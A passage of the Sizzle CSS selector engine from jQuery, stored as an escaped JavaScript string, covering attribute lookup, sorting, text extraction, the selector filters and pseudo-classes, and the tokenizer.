elem ] ).length > 0;\n};\n\nSizzle.contains = function( context, elem ) {\n\t// Set document vars if needed\n\tif ( ( context.ownerDocument || context ) !== document ) {\n\t\tsetDocument( context );\n\t}\n\treturn contains( context, elem );\n};\n\nSizzle.attr = function( elem, name ) {\n\t// Set document vars if needed\n\tif ( ( elem.ownerDocument || elem ) !== document ) {\n\t\tsetDocument( elem );\n\t}\n\n\tvar fn = Expr.attrHandle[ name.toLowerCase() ],\n\t\t// Don't get fooled by Object.prototype properties (jQuery #13807)\n\t\tval = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?\n\t\t\tfn( elem, name, !documentIsHTML ) :\n\t\t\tundefined;\n\n\treturn val !== undefined ?\n\t\tval :\n\t\tsupport.attributes || !documentIsHTML ?\n\t\t\telem.getAttribute( name ) :\n\t\t\t(val = elem.getAttributeNode(name)) && val.specified ?\n\t\t\t\tval.value :\n\t\t\t\tnull;\n};\n\nSizzle.escape = function( sel ) {\n\treturn (sel + \"\").replace( rcssescape, fcssescape );\n};\n\nSizzle.error = function( msg ) {\n\tthrow new Error( \"Syntax error, unrecognized expression: \" + msg );\n};\n\n/**\n * Document sorting and removing duplicates\n * @param {ArrayLike} results\n */\nSizzle.uniqueSort = function( results ) {\n\tvar elem,\n\t\tduplicates = [],\n\t\tj = 0,\n\t\ti = 0;\n\n\t// Unless we *know* we can detect duplicates, assume their presence\n\thasDuplicate = !support.detectDuplicates;\n\tsortInput = !support.sortStable && results.slice( 0 );\n\tresults.sort( sortOrder );\n\n\tif ( hasDuplicate ) {\n\t\twhile ( (elem = results[i++]) ) {\n\t\t\tif ( elem === results[ i ] ) {\n\t\t\t\tj = duplicates.push( i );\n\t\t\t}\n\t\t}\n\t\twhile ( j-- ) {\n\t\t\tresults.splice( duplicates[ j ], 1 );\n\t\t}\n\t}\n\n\t// Clear input after sorting to release objects\n\t// See https://github.com/jquery/sizzle/pull/225\n\tsortInput = null;\n\n\treturn results;\n};\n\n/**\n * Utility function for retrieving the text value of an array of DOM nodes\n * @param {Array|Element} elem\n */\ngetText = Sizzle.getText = function( elem ) {\n\tvar node,\n\t\tret = \"\",\n\t\ti = 0,\n\t\tnodeType = elem.nodeType;\n\n\tif ( !nodeType ) {\n\t\t// If no nodeType, this is expected to be an array\n\t\twhile ( (node = elem[i++]) ) {\n\t\t\t// Do not traverse comment nodes\n\t\t\tret += getText( node );\n\t\t}\n\t} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {\n\t\t// Use textContent for elements\n\t\t// innerText usage removed for consistency of new lines (jQuery #11153)\n\t\tif ( typeof elem.textContent === \"string\" ) {\n\t\t\treturn elem.textContent;\n\t\t} else {\n\t\t\t// Traverse its children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tret += getText( elem );\n\t\t\t}\n\t\t}\n\t} else if ( nodeType === 3 || nodeType === 4 ) {\n\t\treturn elem.nodeValue;\n\t}\n\t// Do not include comment or processing instruction nodes\n\n\treturn ret;\n};\n\nExpr = Sizzle.selectors = {\n\n\t// Can be adjusted by the user\n\tcacheLength: 50,\n\n\tcreatePseudo: markFunction,\n\n\tmatch: matchExpr,\n\n\tattrHandle: {},\n\n\tfind: {},\n\n\trelative: {\n\t\t\">\": { dir: \"parentNode\", first: true },\n\t\t\" \": { dir: \"parentNode\" },\n\t\t\"+\": { dir: \"previousSibling\", first: true },\n\t\t\"~\": { dir: \"previousSibling\" }\n\t},\n\n\tpreFilter: {\n\t\t\"ATTR\": function( match ) {\n\t\t\tmatch[1] = match[1].replace( runescape, funescape );\n\n\t\t\t// Move the given value to match[3] whether quoted or unquoted\n\t\t\tmatch[3] = ( match[3] || match[4] || match[5] || \"\" ).replace( runescape, funescape );\n\n\t\t\tif ( match[2] === \"~=\" ) {\n\t\t\t\tmatch[3] = \" \" + match[3] + \" \";\n\t\t\t}\n\n\t\t\treturn match.slice( 0, 4 );\n\t\t},\n\n\t\t\"CHILD\": function( match ) {\n\t\t\t/* matches from matchExpr[\"CHILD\"]\n\t\t\t\t1 type (only|nth|...)\n\t\t\t\t2 what (child|of-type)\n\t\t\t\t3 argument (even|odd|\\d*|\\d*n([+-]\\d+)?|...)\n\t\t\t\t4 xn-component of xn+y argument ([+-]?\\d*n|)\n\t\t\t\t5 sign of xn-component\n\t\t\t\t6 x of xn-component\n\t\t\t\t7 sign of y-component\n\t\t\t\t8 y of y-component\n\t\t\t*/\n\t\t\tmatch[1] = match[1].toLowerCase();\n\n\t\t\tif ( match[1].slice( 0, 3 ) === \"nth\" ) {\n\t\t\t\t// nth-* requires argument\n\t\t\t\tif ( !match[3] ) {\n\t\t\t\t\tSizzle.error( match[0] );\n\t\t\t\t}\n\n\t\t\t\t// numeric x and y parameters for Expr.filter.CHILD\n\t\t\t\t// remember that false/true cast respectively to 0/1\n\t\t\t\tmatch[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === \"even\" || match[3] === \"odd\" ) );\n\t\t\t\tmatch[5] = +( ( match[7] + match[8] ) || match[3] === \"odd\" );\n\n\t\t\t// other types prohibit arguments\n\t\t\t} else if ( match[3] ) {\n\t\t\t\tSizzle.error( match[0] );\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\n\t\t\"PSEUDO\": function( match ) {\n\t\t\tvar excess,\n\t\t\t\tunquoted = !match[6] && match[2];\n\n\t\t\tif ( matchExpr[\"CHILD\"].test( match[0] ) ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t// Accept quoted arguments as-is\n\t\t\tif ( match[3] ) {\n\t\t\t\tmatch[2] = match[4] || match[5] || \"\";\n\n\t\t\t// Strip excess characters from unquoted arguments\n\t\t\t} else if ( unquoted && rpseudo.test( unquoted ) &&\n\t\t\t\t// Get excess from tokenize (recursively)\n\t\t\t\t(excess = tokenize( unquoted, true )) &&\n\t\t\t\t// advance to the next closing parenthesis\n\t\t\t\t(excess = unquoted.indexOf( \")\", unquoted.length - excess ) - unquoted.length) ) {\n\n\t\t\t\t// excess is a negative index\n\t\t\t\tmatch[0] = match[0].slice( 0, excess );\n\t\t\t\tmatch[2] = unquoted.slice( 0, excess );\n\t\t\t}\n\n\t\t\t// Return only captures needed by the pseudo filter method (type and argument)\n\t\t\treturn match.slice( 0, 3 );\n\t\t}\n\t},\n\n\tfilter: {\n\n\t\t\"TAG\": function( nodeNameSelector ) {\n\t\t\tvar nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn nodeNameSelector === \"*\" ?\n\t\t\t\tfunction() { return true; } :\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn elem.nodeName && elem.nodeName.toLowerCase() === nodeName;\n\t\t\t\t};\n\t\t},\n\n\t\t\"CLASS\": function( className ) {\n\t\t\tvar pattern = classCache[ className + \" \" ];\n\n\t\t\treturn pattern ||\n\t\t\t\t(pattern = new RegExp( \"(^|\" + whitespace + \")\" + className + \"(\" + whitespace + \"|$)\" )) &&\n\t\t\t\tclassCache( className, function( elem ) {\n\t\t\t\t\treturn pattern.test( typeof elem.className === \"string\" && elem.className || typeof elem.getAttribute !== \"undefined\" && elem.getAttribute(\"class\") || \"\" );\n\t\t\t\t});\n\t\t},\n\n\t\t\"ATTR\": function( name, operator, check ) {\n\t\t\treturn function( elem ) {\n\t\t\t\tvar result = Sizzle.attr( elem, name );\n\n\t\t\t\tif ( result == null ) {\n\t\t\t\t\treturn operator === \"!=\";\n\t\t\t\t}\n\t\t\t\tif ( !operator ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\tresult += \"\";\n\n\t\t\t\treturn operator === \"=\" ? result === check :\n\t\t\t\t\toperator === \"!=\" ? result !== check :\n\t\t\t\t\toperator === \"^=\" ? check && result.indexOf( check ) === 0 :\n\t\t\t\t\toperator === \"*=\" ? check && result.indexOf( check ) > -1 :\n\t\t\t\t\toperator === \"$=\" ? check && result.slice( -check.length ) === check :\n\t\t\t\t\toperator === \"~=\" ? ( \" \" + result.replace( rwhitespace, \" \" ) + \" \" ).indexOf( check ) > -1 :\n\t\t\t\t\toperator === \"|=\" ? result === check || result.slice( 0, check.length + 1 ) === check + \"-\" :\n\t\t\t\t\tfalse;\n\t\t\t};\n\t\t},\n\n\t\t\"CHILD\": function( type, what, argument, first, last ) {\n\t\t\tvar simple = type.slice( 0, 3 ) !== \"nth\",\n\t\t\t\tforward = type.slice( -4 ) !== \"last\",\n\t\t\t\tofType = what === \"of-type\";\n\n\t\t\treturn first === 1 && last === 0 ?\n\n\t\t\t\t// Shortcut for :nth-*(n)\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn !!elem.parentNode;\n\t\t\t\t} :\n\n\t\t\t\tfunction( elem, context, xml ) {\n\t\t\t\t\tvar cache, uniqueCache, outerCache, node, nodeIndex, start,\n\t\t\t\t\t\tdir = simple !== forward ? \"nextSibling\" : \"previousSibling\",\n\t\t\t\t\t\tparent = elem.parentNode,\n\t\t\t\t\t\tname = ofType && elem.nodeName.toLowerCase(),\n\t\t\t\t\t\tuseCache = !xml && !ofType,\n\t\t\t\t\t\tdiff = false;\n\n\t\t\t\t\tif ( parent ) {\n\n\t\t\t\t\t\t// :(first|last|only)-(child|of-type)\n\t\t\t\t\t\tif ( simple ) {\n\t\t\t\t\t\t\twhile ( dir ) {\n\t\t\t\t\t\t\t\tnode = elem;\n\t\t\t\t\t\t\t\twhile ( (node = node[ dir ]) ) {\n\t\t\t\t\t\t\t\t\tif ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnode.nodeName.toLowerCase() === name :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) {\n\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// Reverse direction for :only-* (if we haven't yet done so)\n\t\t\t\t\t\t\t\tstart = dir = type === \"only\" && !start && \"nextSibling\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tstart = [ forward ? parent.firstChild : parent.lastChild ];\n\n\t\t\t\t\t\t// non-xml :nth-child(...) stores cache data on `parent`\n\t\t\t\t\t\tif ( forward && useCache ) {\n\n\t\t\t\t\t\t\t// Seek `elem` from a previously-cached index\n\n\t\t\t\t\t\t\t// ...in a gzip-friendly way\n\t\t\t\t\t\t\tnode = parent;\n\t\t\t\t\t\t\touterCache = node[ expando ] || (node[ expando ] = {});\n\n\t\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\t\tuniqueCache = outerCache[ node.uniqueID ] ||\n\t\t\t\t\t\t\t\t(outerCache[ node.uniqueID ] = {});\n\n\t\t\t\t\t\t\tcache = uniqueCache[ type ] || [];\n\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\tdiff = nodeIndex && cache[ 2 ];\n\t\t\t\t\t\t\tnode = nodeIndex && parent.childNodes[ nodeIndex ];\n\n\t\t\t\t\t\t\twhile ( (node = ++nodeIndex && node && node[ dir ] ||\n\n\t\t\t\t\t\t\t\t// Fallback to seeking `elem` from the start\n\t\t\t\t\t\t\t\t(diff = nodeIndex = 0) || start.pop()) ) {\n\n\t\t\t\t\t\t\t\t// When found, cache indexes on `parent` and break\n\t\t\t\t\t\t\t\tif ( node.nodeType === 1 && ++diff && node === elem ) {\n\t\t\t\t\t\t\t\t\tuniqueCache[ type ] = [ dirruns, nodeIndex, diff ];\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Use previously-cached element index if available\n\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\t// ...in a gzip-friendly way\n\t\t\t\t\t\t\t\tnode = elem;\n\t\t\t\t\t\t\t\touterCache = node[ expando ] || (node[ expando ] = {});\n\n\t\t\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\t\t\tuniqueCache = outerCache[ node.uniqueID ] ||\n\t\t\t\t\t\t\t\t\t(outerCache[ node.uniqueID ] = {});\n\n\t\t\t\t\t\t\t\tcache = uniqueCache[ type ] || [];\n\t\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\t\tdiff = nodeIndex;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// xml :nth-child(...)\n\t\t\t\t\t\t\t// or :nth-last-child(...) or :nth(-last)?-of-type(...)\n\t\t\t\t\t\t\tif ( diff === false ) {\n\t\t\t\t\t\t\t\t// Use the same loop as above to seek `elem` from the start\n\t\t\t\t\t\t\t\twhile ( (node = ++nodeIndex && node && node[ dir ] ||\n\t\t\t\t\t\t\t\t\t(diff = nodeIndex = 0) || start.pop()) ) {\n\n\t\t\t\t\t\t\t\t\tif ( ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnode.nodeName.toLowerCase() === name :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) &&\n\t\t\t\t\t\t\t\t\t\t++diff ) {\n\n\t\t\t\t\t\t\t\t\t\t// Cache the index of each encountered element\n\t\t\t\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\t\t\t\touterCache = node[ expando ] || (node[ expando ] = {});\n\n\t\t\t\t\t\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\t\t\t\t\t\tuniqueCache = outerCache[ node.uniqueID ] ||\n\t\t\t\t\t\t\t\t\t\t\t\t(outerCache[ node.uniqueID ] = {});\n\n\t\t\t\t\t\t\t\t\t\t\tuniqueCache[ type ] = [ dirruns, diff ];\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif ( node === elem ) {\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Incorporate the offset, then check against cycle size\n\t\t\t\t\t\tdiff -= last;\n\t\t\t\t\t\treturn diff === first || ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t},\n\n\t\t\"PSEUDO\": function( pseudo, argument ) {\n\t\t\t// pseudo-class names are case-insensitive\n\t\t\t// http://www.w3.org/TR/selectors/#pseudo-classes\n\t\t\t// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters\n\t\t\t// Remember that setFilters inherits from pseudos\n\t\t\tvar args,\n\t\t\t\tfn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||\n\t\t\t\t\tSizzle.error( \"unsupported pseudo: \" + pseudo );\n\n\t\t\t// The user may use createPseudo to indicate that\n\t\t\t// arguments are needed to create the filter function\n\t\t\t// just as Sizzle does\n\t\t\tif ( fn[ expando ] ) {\n\t\t\t\treturn fn( argument );\n\t\t\t}\n\n\t\t\t// But maintain support for old signatures\n\t\t\tif ( fn.length > 1 ) {\n\t\t\t\targs = [ pseudo, pseudo, \"\", argument ];\n\t\t\t\treturn Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?\n\t\t\t\t\tmarkFunction(function( seed, matches ) {\n\t\t\t\t\t\tvar idx,\n\t\t\t\t\t\t\tmatched = fn( seed, argument ),\n\t\t\t\t\t\t\ti = matched.length;\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tidx = indexOf( seed, matched[i] );\n\t\t\t\t\t\t\tseed[ idx ] = !( matches[ idx ] = matched[i] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}) :\n\t\t\t\t\tfunction( elem ) {\n\t\t\t\t\t\treturn fn( elem, 0, args );\n\t\t\t\t\t};\n\t\t\t}\n\n\t\t\treturn fn;\n\t\t}\n\t},\n\n\tpseudos: {\n\t\t// Potentially complex pseudos\n\t\t\"not\": markFunction(function( selector ) {\n\t\t\t// Trim the selector passed to compile\n\t\t\t// to avoid treating leading and trailing\n\t\t\t// spaces as combinators\n\t\t\tvar input = [],\n\t\t\t\tresults = [],\n\t\t\t\tmatcher = compile( selector.replace( rtrim, \"$1\" ) );\n\n\t\t\treturn matcher[ expando ] ?\n\t\t\t\tmarkFunction(function( seed, matches, context, xml ) {\n\t\t\t\t\tvar elem,\n\t\t\t\t\t\tunmatched = matcher( seed, null, xml, [] ),\n\t\t\t\t\t\ti = seed.length;\n\n\t\t\t\t\t// Match elements unmatched by `matcher`\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( (elem = unmatched[i]) ) {\n\t\t\t\t\t\t\tseed[i] = !(matches[i] = elem);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}) :\n\t\t\t\tfunction( elem, context, xml ) {\n\t\t\t\t\tinput[0] = elem;\n\t\t\t\t\tmatcher( input, null, xml, results );\n\t\t\t\t\t// Don't keep the element (issue #299)\n\t\t\t\t\tinput[0] = null;\n\t\t\t\t\treturn !results.pop();\n\t\t\t\t};\n\t\t}),\n\n\t\t\"has\": markFunction(function( selector ) {\n\t\t\treturn function( elem ) {\n\t\t\t\treturn Sizzle( selector, elem ).length > 0;\n\t\t\t};\n\t\t}),\n\n\t\t\"contains\": markFunction(function( text ) {\n\t\t\ttext = text.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn ( elem.textContent || getText( elem ) ).indexOf( text ) > -1;\n\t\t\t};\n\t\t}),\n\n\t\t// \"Whether an element is represented by a :lang() selector\n\t\t// is based solely on the element's language value\n\t\t// being equal to the identifier C,\n\t\t// or beginning with the identifier C immediately followed by \"-\".\n\t\t// The matching of C against the element's language value is performed case-insensitively.\n\t\t// The identifier C does not have to be a valid language name.\"\n\t\t// http://www.w3.org/TR/selectors/#lang-pseudo\n\t\t\"lang\": markFunction( function( lang ) {\n\t\t\t// lang value must be a valid identifier\n\t\t\tif ( !ridentifier.test(lang || \"\") ) {\n\t\t\t\tSizzle.error( \"unsupported lang: \" + lang );\n\t\t\t}\n\t\t\tlang = lang.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn function( elem ) {\n\t\t\t\tvar elemLang;\n\t\t\t\tdo {\n\t\t\t\t\tif ( (elemLang = documentIsHTML ?\n\t\t\t\t\t\telem.lang :\n\t\t\t\t\t\telem.getAttribute(\"xml:lang\") || elem.getAttribute(\"lang\")) ) {\n\n\t\t\t\t\t\telemLang = elemLang.toLowerCase();\n\t\t\t\t\t\treturn elemLang === lang || elemLang.indexOf( lang + \"-\" ) === 0;\n\t\t\t\t\t}\n\t\t\t\t} while ( (elem = elem.parentNode) && elem.nodeType === 1 );\n\t\t\t\treturn false;\n\t\t\t};\n\t\t}),\n\n\t\t// Miscellaneous\n\t\t\"target\": function( elem ) {\n\t\t\tvar hash = window.location && window.location.hash;\n\t\t\treturn hash && hash.slice( 1 ) === elem.id;\n\t\t},\n\n\t\t\"root\": function( elem ) {\n\t\t\treturn elem === docElem;\n\t\t},\n\n\t\t\"focus\": function( elem ) {\n\t\t\treturn elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);\n\t\t},\n\n\t\t// Boolean properties\n\t\t\"enabled\": createDisabledPseudo( false ),\n\t\t\"disabled\": createDisabledPseudo( true ),\n\n\t\t\"checked\": function( elem ) {\n\t\t\t// In CSS3, :checked should return both checked and selected elements\n\t\t\t// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\tvar nodeName = elem.nodeName.toLowerCase();\n\t\t\treturn (nodeName === \"input\" && !!elem.checked) || (nodeName === \"option\" && !!elem.selected);\n\t\t},\n\n\t\t\"selected\": function( elem ) {\n\t\t\t// Accessing this property makes selected-by-default\n\t\t\t// options in Safari work properly\n\t\t\tif ( elem.parentNode ) {\n\t\t\t\telem.parentNode.selectedIndex;\n\t\t\t}\n\n\t\t\treturn elem.selected === true;\n\t\t},\n\n\t\t// Contents\n\t\t\"empty\": function( elem ) {\n\t\t\t// http://www.w3.org/TR/selectors/#empty-pseudo\n\t\t\t// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),\n\t\t\t//   but not by others (comment: 8; processing instruction: 7; etc.)\n\t\t\t// nodeType < 6 works because attributes (2) do not appear as children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tif ( elem.nodeType < 6 ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t},\n\n\t\t\"parent\": function( elem ) {\n\t\t\treturn !Expr.pseudos[\"empty\"]( elem );\n\t\t},\n\n\t\t// Element/input types\n\t\t\"header\": function( elem ) {\n\t\t\treturn rheader.test( elem.nodeName );\n\t\t},\n\n\t\t\"input\": function( elem ) {\n\t\t\treturn rinputs.test( elem.nodeName );\n\t\t},\n\n\t\t\"button\": function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn name === \"input\" && elem.type === \"button\" || name === \"button\";\n\t\t},\n\n\t\t\"text\": function( elem ) {\n\t\t\tvar attr;\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" &&\n\t\t\t\telem.type === \"text\" &&\n\n\t\t\t\t// Support: IE<8\n\t\t\t\t// New HTML5 attribute values (e.g., \"search\") appear with elem.type === \"text\"\n\t\t\t\t( (attr = elem.getAttribute(\"type\")) == null || attr.toLowerCase() === \"text\" );\n\t\t},\n\n\t\t// Position-in-collection\n\t\t\"first\": createPositionalPseudo(function() {\n\t\t\treturn [ 0 ];\n\t\t}),\n\n\t\t\"last\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\treturn [ length - 1 ];\n\t\t}),\n\n\t\t\"eq\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\treturn [ argument < 0 ? argument + length : argument ];\n\t\t}),\n\n\t\t\"even\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"odd\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\tvar i = 1;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"lt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ?\n\t\t\t\targument + length :\n\t\t\t\targument > length ?\n\t\t\t\t\tlength :\n\t\t\t\t\targument;\n\t\t\tfor ( ; --i >= 0; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"gt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ? argument + length : argument;\n\t\t\tfor ( ; ++i < length; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t})\n\t}\n};\n\nExpr.pseudos[\"nth\"] = Expr.pseudos[\"eq\"];\n\n// Add button/input type pseudos\nfor ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {\n\tExpr.pseudos[ i ] = createInputPseudo( i );\n}\nfor ( i in { submit: true, reset: true } ) {\n\tExpr.pseudos[ i ] = createButtonPseudo( i );\n}\n\n// Easy API for creating new setFilters\nfunction setFilters() {}\nsetFilters.prototype = Expr.filters = Expr.pseudos;\nExpr.setFilters = new setFilters();\n\ntokenize = Sizzle.tokenize = function( selector, parseOnly ) {\n\tvar matched, match, tokens, type,\n\t\tsoFar, groups, preFilters,\n\t\tcached = tokenCache[ selector + \" \" ];\n\n\tif ( cached ) {\n\t\treturn parseOnly ? 0 : cached.slice( 0 );\n\t}\n\n\tsoFar = selector;\n\tgroups = [];\n\tpreFilters = Expr.preFilter;\n\n\twhile ( soFar ) {\n\n\t\t// Comma and first run\n\t\tif ( !matched || (match = rcomma.exec( soFar )) ) {\n\t\t\tif ( match ) {\n\t\t\t\t// Don't consume trailing commas as valid\n\t\t\t\tsoFar = soFar.slice( match[0].length ) || soFar;\n\t\t\t}\n\t\t\tgroups.push( (tokens = []) );\n\t\t}\n\n\t\tmatched = false;\n\n\t\t// Combinators\n\t\tif ( (match = rcombinators.exec( soFar )) ) {\n\t\t\tmatched = match.shift();\n\t\t\ttokens.push({\n\t\t\t\tvalue: matched,\n\t\t\t\t// Cast descendant combinators to space\n\t\t\t\ttype: match[0].replace( rtrim, \" \" )\n\t\t\t});\n\t\t\tsoFar = soFar.slice( matched.length );\n\t\t}\n\n\t\t// Filters\n\t\tfor ( type in Expr.filter ) {\n\t\t\tif ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||\n\t\t\t\t(match = preFilters[ type ]( match ))) ) {\n\t\t\t\tmatched = match.shift();\n\t\t\t\ttokens.push({\n\t\t\t\t\tvalue: matched,\n\t\t\t\t\ttype: type,\n\t\t\t\t\tmatches: match\n\t\t\t\t});\n\t\t\t\tsoFar = soFar.slice( matched.length );\n\t\t\t}\n\t\t}\n\n\t\tif ( !matched ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t// Return the length of the invalid excess\n\t// if we're just parsing\n\t// Otherwise, throw an error or return tokens\n\treturn parseOnly ?\n\t\tsoFar.length :\n\t\tsoFar ?\n\t\t\tSizzle.error( selector ) :\n\t\t\t// Cache the tokens\n\t\t\ttokenCache( selector, groups ).slice( 0 );\n};\n\nfunction toSelector( tokens ) {\n\tvar i = 0,\n\t\tlen = tokens.length,\n\t\tselector = \"\";\n\tfor ( ; i < len; i++ ) {\n\t\tselector += tokens[i].value;\n\t}\n\treturn selector;\n}\n\nfunction addCombinator( matcher, combinator, base ) {\n\tvar dir = combinator.dir,\n\t\tskip = combinator.next,\n\t\tkey = skip || dir,\n\t\tcheckNonElements = base && key === \"parentNode\",\n\t\tdoneName = done++;\n\n\treturn combinator.first ?\n\t\t// Check against closest ancestor/preceding element\n\t\tfunction( elem, context, xml ) {\n\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\treturn matcher( elem, context, xml );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t} :\n\n\t\t// Check against all ancestor/preceding elements\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar oldCache, uniqueCache, outerCache,\n\t\t\t\tnewCache = [ dirruns, doneName ];\n\n\t\t\t// We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching\n\t\t\tif ( xml ) {\n\t\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\tif ( matcher( elem, context, xml ) ) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\touterCache = elem[ expando ] || (elem[ expando ] = {});\n\n\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\tuniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {});\n\n\t\t\t\t\t\tif ( skip && skip === elem.nodeName.toLowerCase() ) {\n\t\t\t\t\t\t\telem = elem[ dir ] || elem;\n\t\t\t\t\t\t} else if ( (oldCache = uniqueCache[ key ]) &&\n\t\t\t\t\t\t\toldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {\n\n\t\t\t\t\t\t\t// Assign to newCache so results back-propagate to previous elements\n\t\t\t\t\t\t\treturn (newCache[ 2 ] = oldCache[ 2 ]);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Reuse newcache so results back-propagate to previous elements\n\t\t\t\t\t\t\tuniqueCache[ key ] = newCache;\n\n\t\t\t\t\t\t\t// A match means we're done; a fail means we have to keep checking\n\t\t\t\t\t\t\tif ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {\n\t\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t};\n}\n\nfunction elementMatcher( matchers ) {\n\treturn matchers.length > 1 ?\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar i = matchers.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( !matchers[i]( elem, context, xml ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t} :\n\t\tmatchers[0];\n}\n\nfunction multipleContexts( selector, contexts, results ) {\n\tvar i = 0,\n\t\tlen = contexts.length;\n\tfor ( ; i < len; i++ ) {\n\t\tSizzle( selector, contexts[i], results );\n\t}\n\treturn results;\n}\n\nfunction condense( unmatched, map, filter, context, xml ) {\n\tvar elem,\n\t\tnewUnmatched = [],\n\t\ti = 0,\n\t\tlen = 